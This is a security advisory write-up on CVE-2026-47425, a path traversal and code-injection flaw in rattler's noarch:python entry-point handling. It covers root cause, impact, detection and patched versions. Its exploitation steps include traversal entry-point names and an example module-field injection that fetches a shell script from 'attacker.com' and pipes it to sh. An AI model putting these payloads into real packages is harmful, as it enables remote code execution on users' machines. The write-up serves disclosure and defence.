CVE-2026-47425: 
Python vulnerability analysis and mitigation

CVE-2026-47425 is a path traversal vulnerability ("Entry-point path traversal in noarch:python install") in the rattler_conda_types crate of the conda/rattler project that allows a malicious noarch:python package to write executable files outside the intended installation prefix. The EntryPoint::FromStr function performs only a .trim() on the entry-point command field before the linker joins it onto the install prefix, enabling directory traversal via .., /, \, or absolute paths in info/link.json. Affected software includes the rattler Rust crate (versions < 0.43.2), py-rattler Python package (versions ≤ 0.23.2), and downstream consumers including pixi (< 0.69.0) and rattler-build (< 0.65.0). The vulnerability was discovered by researcher Berkant Koc, disclosed on May 19, 2026, and published to the GitHub Advisory Database on June 1, 2026. It carries a CVSS v4.0 base score of 6.3 (Medium) (GitHub Advisory, rattler Advisory).

The root cause is classified as CWE-22 (Path Traversal) and CWE-73 (External Control of File Name or Path). The vulnerable code path in EntryPoint::FromStr within rattler_conda_types only strips leading/trailing whitespace from the command field of an entry-point definition before constructing the output file path as <install_prefix>/<command>, without validating for traversal sequences. A malicious noarch:python package can embed a crafted info/link.json with an entry-point name such as ../../bin/pip or an absolute path like /tmp/PWN, causing the installer to write an executable script (mode 0o775 on Unix, or a launcher .exe on Windows) to an arbitrary location. Additionally, the module and function fields were interpolated verbatim into the generated Python script body, providing a secondary code-injection surface. The fix in rattler PR #2445 adds validation at two layers: EntryPoint::FromStr now rejects invalid command values (empty strings, path separators, null bytes, ., .., leading dots, absolute paths) and validates module/function as Python dotted identifiers, while a new ValidatedRelativePath newtype enforces prefix-containment at all filesystem write call sites (GitHub Advisory, rattler PR #2445).

Successful exploitation allows an attacker to write arbitrary executable files outside the installation prefix with permissive permissions (0o775 on Unix), enabling overwrite of critical system or in-prefix binaries such as bin/pip. On Windows, a malicious launcher .exe can be placed at an attacker-controlled path. This can lead to persistent code execution under the privileges of the user running pixi install, rattler-build, or any other rattler-based installer, with high impact to confidentiality, integrity, and availability of the vulnerable system. The secondary code-injection surface in the generated Python script body further allows arbitrary Python code execution at install time (GitHub Advisory, rattler Advisory).

1. Craft a malicious package: Create a noarch:python conda package containing an info/link.json with an entry-point whose name/command field includes a path traversal sequence, e.g., "command": "../../bin/pip" or an absolute path like "/tmp/malicious".
2. Embed a payload: Optionally, set the module or function fields to arbitrary Python code strings (e.g., "module": "os; import subprocess; subprocess.call(['curl','attacker.com/shell.sh','|','sh'])") to inject code into the generated Python script body.
3. Distribute the package: Publish the malicious package to a conda channel (public or private/compromised) accessible to the target.
4. Trigger installation: Wait for a victim to run pixi install, rattler-build, or any rattler-based installer that processes the malicious package — no special flags or user confirmation beyond the install command are required.
5. Achieve arbitrary file write: The rattler installer writes the executable script to the traversal-resolved path (e.g., overwriting bin/pip in-prefix or writing to /tmp/malicious) with mode 0o775 on Unix or as a .exe launcher on Windows, achieving persistent code execution under the victim's privileges (GitHub Advisory, rattler PR #2445).

• File System: Unexpected executable files written outside the conda/pixi installation prefix with permissions 0o775; unexpected modifications to bin/pip or other in-prefix entry-point scripts; presence of .exe launcher files in non-standard Windows directories.
• Logs: Installer logs (pixi, rattler-build) showing entry-point names containing .., /, \, or absolute paths during package installation; errors or warnings from rattler versions prior to 0.43.2 related to entry-point processing.
• Process: Unexpected child processes spawned shortly after a pixi install or rattler-build invocation, particularly network-connecting processes (e.g., curl, wget, python) not associated with the intended package.
• Network: Outbound connections to unknown hosts initiated by the Python interpreter or shell immediately following a conda/pixi package installation (GitHub Advisory).

Users should upgrade to the following patched versions: rattler Rust crate ≥ 0.43.2, py-rattler Python package ≥ 0.24.0, pixi ≥ 0.69.0, and rattler-build ≥ 0.65.0. No configuration-based workaround is available since the vulnerability is triggered by default during package installation without any opt-in flag. As an interim measure, restrict package sources to trusted, audited conda channels and review info/link.json entry-point definitions in packages before installation (GitHub Advisory, rattler Advisory, rattler PR #2445).

The vulnerability was discovered and responsibly disclosed by independent researcher Berkant Koc (me@berkoc.com). The rattler maintainer baszalmstra promptly merged the fix (PR #2445) on May 19, 2026, the same day as disclosure, and the advisory was published to the GitHub Advisory Database on June 1, 2026. No significant broader media coverage or notable social media commentary has been identified beyond the official advisory and pull request (GitHub Advisory, rattler PR #2445).